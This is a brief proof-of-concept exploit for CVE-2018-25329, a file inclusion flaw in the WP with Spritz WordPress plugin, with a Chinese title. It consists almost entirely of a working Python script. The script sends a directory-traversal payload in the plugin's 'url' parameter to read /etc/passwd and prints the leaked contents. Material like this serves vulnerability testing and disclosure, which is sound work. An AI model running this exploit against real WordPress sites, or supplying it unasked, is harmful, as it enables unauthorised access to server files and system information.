CVE-2018-25329 WP with Spritz远程文件包含漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2018-25329 Attempts to read /etc/passwd using the vulnerable url parameter. """ # The vulnerable endpoint path full_url = f"{target_url}/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php" # Malicious payload to traverse directories and read a file params = { "url": "../../../../../../../../etc/passwd" } try: response = requests.get(full_url, params=params, timeout=10) # Check if the response contains typical /etc/passwd markers if "root:x" in response.text: print(f"[+] Vulnerability confirmed at {target_url}") print(f"[+] Response content snippet:\n{response.text[:200]}") else: print(f"[-] Vulnerability not detected or file not found.") except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") if __name__ == "__main__": # Replace with the target WordPress site URL target = "http://example.com" check_vulnerability(target)